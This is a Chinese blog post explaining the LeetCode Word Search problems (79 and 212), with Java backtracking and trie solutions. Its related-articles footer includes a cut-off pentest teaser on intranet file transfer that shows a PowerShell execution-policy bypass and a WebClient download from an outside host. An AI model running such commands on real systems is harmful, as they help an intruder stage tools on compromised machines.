79. Word Search

文章目录

  • 1题目理解
  • 2 回溯
  • 3 212 word search II

1题目理解

Given an m x n board and a word, find if the word exists in the grid.

The word can be constructed from letters of sequentially adjacent cells, where “adjacent” cells are horizontally or vertically neighboring. The same letter cell may not be used more than once.

输入:一个二维字符数组board和一个字符串word
规则:在board中能根据相邻元素查找,查找到完整的word。相邻元素是指横向和纵向元素相邻。每个元素只能使用一次。
输出:能找到输出true,否则输出false。
Example 1:
在这里插入图片描述
Input: board = [[“A”,“B”,“C”,“E”],[“S”,“F”,“C”,“S”],[“A”,“D”,“E”,“E”]], word = “ABCCED”
Output: true

2 回溯

在board中查找到word中的第一个字符,然后开始递归查找。在查找过程中要记录元素是不是已经被查找过。每个元素只能查找一次。
要记录是不是查找过,可以使用visited数组记录,也可以修改board元素值,标记是否查找过。

class Solution {private char[][] board;private String word;private int m;private int n;private boolean[][] visited;public boolean exist(char[][] board, String word) {this.board = board;this.word = word;this.m = board.length;this.n = board[0].length;visited = new boolean[m][n];for(int i=0;i<m;i++){for(int j=0;j<n;j++){if(board[i][j]==word.charAt(0)){if(dfs(i,j,0)){return true;}}}}return false;}private boolean dfs(int i,int j,int wordIndex){if(wordIndex==word.length()){return true;}if(i>=m || j>=n || i<0 || j<0){return false;}if(visited[i][j]) return false;visited[i][j] = true;boolean r = false;if(board[i][j]==word.charAt(wordIndex)){if(dfs(i+1,j,wordIndex+1)|| dfs(i-1,j,wordIndex+1)|| dfs(i,j-1,wordIndex+1)|| dfs(i,j+1,wordIndex+1))r =  true;}visited[i][j]=false;return r;}
}

时间复杂度:O(m∗n∗3l)O(m*n*3^l)O(mn3l) m,n 是char数组规格,l是word的长度。每个位置最多进入3次。因为访问过一次就不能再访问了。除了第一次调用的时候可以进入4次。

3 212 word search II

题目理解:跟79题类似。
输入:一个二维字符数组board和一个字符串数组words
规则:在board中能根据相邻元素查找,查找到完整的word。相邻元素是指横向和纵向元素相邻。每个元素在一个单词中只能使用一次。
输出:能找到的word。

解题:这次要查找的是数组中的每一个词。可以调用上面的方法n词,挨个查找每个词。
也可以先将words构建一棵trie树。从根节点查找每个词。因为会多次查找,为了防止加入重复的词,在找到一个词之后将节点的word置为空。

class Solution {private char[][] board;private int m;private int n;private boolean[][] visited;private TrieNode root=new TrieNode('/');private List<String> answer;public List<String> findWords(char[][] board, String[] words) {this.board = board;buildTrieTree(words);this.m = board.length;this.n = board[0].length;visited = new boolean[m][n];answer = new ArrayList<String>();for(int i=0;i<m;i++){for(int j=0;j<n;j++){dfs(i,j,root);}}return answer;}private void dfs(int i,int j, TrieNode node){if(node.word!=null){answer.add(node.word);node.word=null;}if(i>=m || j>=n || i<0 || j<0){return;}if(visited[i][j]) return;char ch = board[i][j];if(node.children[ch-97]==null) return;visited[i][j] = true;node = node.children[ch-97];dfs(i+1,j,node);dfs(i-1,j,node);dfs(i,j-1,node);dfs(i,j+1,node);visited[i][j]=false;}private void buildTrieTree(String[] words){for(String word : words){insert(word);}}/** Inserts a word into the trie. */public void insert(String word) {TrieNode node = root;for(int i=0;i<word.length();i++){char ch = word.charAt(i);int index = ch - 97;if(node.children[index]==null){node.children[index] = new TrieNode(ch);}node = node.children[index];}node.end = true;node.word = word;}class TrieNode{private char ch;private boolean end;private String word;private TrieNode[] children = new TrieNode[26];public TrieNode(char ch){this.ch = ch;}}
}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/424202.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

怀念西电北门的石凳(转载)

想起1996年某个春天的清晨<?xml:namespace prefix o ns "urn:schemas-microsoft-com:office:office" />那个被我叫做小可的女生和我坐在北门里的石凳上让我帮她讲数学&#xff5e;清晨的风清凉地流着&#xff5e;划过记忆里永远不曾尘封的忧伤&#xff5e;感…

内网文件传输

转自&#xff1a;https://github.com/l3m0n/pentest_study windows下文件传输 1、powershell文件下载 powershell突破限制执行&#xff1a;powershell -ExecutionPolicy Bypass -File .\1.ps1 $d New-Object System.Net.WebClient $d.DownloadFile("http://lemon.com/fil…

127. Word Ladder

文章目录1 题目理解2 BFS3 双向BFS1 题目理解 给定两个单词&#xff08;beginWord 和 endWord&#xff09;和一个字典&#xff0c;找到从 beginWord 到 endWord 的最短转换序列的长度。转换需遵循如下规则&#xff1a; 每次转换只能改变一个字母。 转换过程中的中间单词必须是…

关于DataAdapter打开和关闭连接

今天看书的时候,终于看明白了DataAdapter相关的打开和关闭连接的问题DataAdapter使用的时候可以不显示的打开或关闭连接,这是因为DataAdapter能够自动的处理该任务.如果在调用Fill方法的时候连接是关闭的,则连接会自动打开,然后从数据库中把数据记录填充到DataSet中,接着连接会…

讨论ALL_ROWS模式和FIRST_ROWS模式

在CBO的优化模式下&#xff0c;我们可以使用optimizer_mode参数控制优化模式。主要有两种模式&#xff0c;一种是ALL_ROWS模式&#xff0c;另外一种是FIRST_ROWS模式。 ALL_ROWS模式适用场景&#xff1a;希望优化程序给出一种尽快得到全部记录的执行计划&#xff0c;目标是增加…

第一百零三期:解读回归测试:类型、选择、挑战和实践

本文介绍了回归测试的基本概念、工作方式、面临的挑战、以及业界的优秀实践。 作者&#xff1a;陈峻编译 【51CTO.com快译】有研究表明&#xff1a;在安装了新的应用程序之后&#xff0c;只有四分之一的用户会在次日回到该应用。而大多数用户在首次使用之后就直接将其卸载掉了…

126. Word Ladder II

文章目录1 题目理解2 BFS1 题目理解 题目要求和127是一样的。返回值不一样。返回值要求把最短路径的&#xff0c;具体路径输出。 Input: beginWord “hit”, endWord “cog”, wordList [“hot”,“dot”,“dog”,“lot”,“log”,“cog”] Output: [ [“hit”,“hot”,“…

如何构建积木式Web应用

上下文基本上我们在儿童时代都玩过积木玩具。通过一块块的积木&#xff0c;再加上我们的想象力&#xff0c;就可以构造出非常多不同的风格的建筑。那么&#xff0c; 我们可不可以把这种搭积木的方式应用到我们的web应用上呢。问题web应用通过提供给用户一整套组件&#xff08;相…

第一百零四期:搞清这些陷阱,NULL和三值逻辑再也不作妖

NULL 用于表示缺失的值或遗漏的未知数据&#xff0c;不是某种具体类型的值。数据表中的 NULL 值表示该值所处的字段为空&#xff0c;值为 NULL 的字段没有值&#xff0c;尤其要明白的是&#xff1a;NULL 值与 0 或者空字符串是不同的。 作者&#xff1a;youzhibing2904 NULL …

752. Open the Lock

文章目录1 题目理解2 BFS3 用int构建状态1 题目理解 一个钟表有4个槽&#xff0c;每个槽可以停在0-9&#xff0c;10个状态。钟表每个槽的轮子可以转&#xff0c;例如可以从0转到9&#xff0c;也可以从0转到1。 钟表的起始状态是"0000"。每个数字代表一个槽的状态。 …

移动开发 视频收集

构建基于SQL CE的移动方案http://download.chinaitlab.com/video/files/8282.html转载于:https://www.cnblogs.com/Regal/archive/2006/03/23/356800.html

移动混合开发之android文件管理新建文件和删除文件

今天经过一天超过8小时的实践&#xff0c;有很多CSS上的细节需要注意&#xff1a; 1&#xff0c; /*注意是对before的操作*/ .content ul li .icon-check-empty:before{display: block;/*webFont设置其width和height时无效,只有设置font-size*//*width: 3rem;*//*height: 3rem;…

spring mvc学习(19):cookievalue注解(显示cookie的值,默认必须有值)

目录结构 web.xml <?xml version"1.0" encoding"UTF-8"?> <web-app xmlns:xsi"http://www.w3.org/2001/XMLSchema-instance" xmlns"http://java.sun.com/xml/ns/javaee" xsi:schemaLocation"http://java.sun.com/xml…

续:C#串口操作

今天继续写C#的工业扫描串口。突然遇到一个很奇怪的问题&#xff1a;那就是我要求把某些码得到之后进行业务处理&#xff0c;但是就是这个时候突然发现扫描出来的 码位数不正确了&#xff01;我就很怀疑自己的代码逻辑了。于是&#xff0c;我就逐行进行调试&#xff0c;而接受口…

spring mvc学习(20):RequestHeader(获取请求头中某一部分值)

目录结构 web.xml <?xml version"1.0" encoding"UTF-8"?> <web-app xmlns:xsi"http://www.w3.org/2001/XMLSchema-instance" xmlns"http://java.sun.com/xml/ns/javaee" xsi:schemaLocation"http://java.sun.com/xml…

698. Partition to K Equal Sum Subsets

文章目录1 理解题目2 分析2.1进一步优化2.2 根据花花酱解答1 理解题目 Given an array of integers nums and a positive integer k, find whether it’s possible to divide this array into k non-empty subsets whose sums are all equal. 输入&#xff1a;一个int数组nums…

spring mvc学习(21):testparam请求参数和请求头表达式

目录结构 web.xml <?xml version"1.0" encoding"UTF-8"?> <web-app xmlns:xsi"http://www.w3.org/2001/XMLSchema-instance" xmlns"http://java.sun.com/xml/ns/javaee" xsi:schemaLocation"http://java.sun.com/xml…

OpenGL ES GLKit初探

#GLKit框架 GLKit框架的设计目的是为了简化OpenGL/OpenGL ES的应用开发。它的出现加快了OpenGL或OpenGL ES应用程序的开发。使用数学库、背景纹理加载&#xff0c;预先创建着色器效果&#xff0c;以及标准视图和视图控制器来实现渲染循环。 GLKit框架提供了功能和类&#xff0c…

一个封装了的ADO类,功能非常强大,并做了一个DEMO演示如何操作ACCESS数据库

呵呵&#xff0c;说实在的&#xff0c;这个类俺是从外国论坛上下载的&#xff0c;自己研究了下如何使用并做了一个DEMO&#xff0c;演示如何操作ACCESS数据库。希望给那些没有接触数据库编程的初学者一点启发吧。有任何问题请及时与我联系^_^。程序下载地址&#xff1a;/Files/…

93. Restore IP Addresses

文章目录1 题目理解2 回溯1 题目理解 输入&#xff1a;字符串s 输出&#xff1a;可能的ip地址 规则&#xff1a;一个有效的ip地市是一连串数字&#xff0c;数字范围在0到255&#xff0c;每个数字不能有前导0。例如"0.1.2.201" and "192.168.1.1"是有效ip地…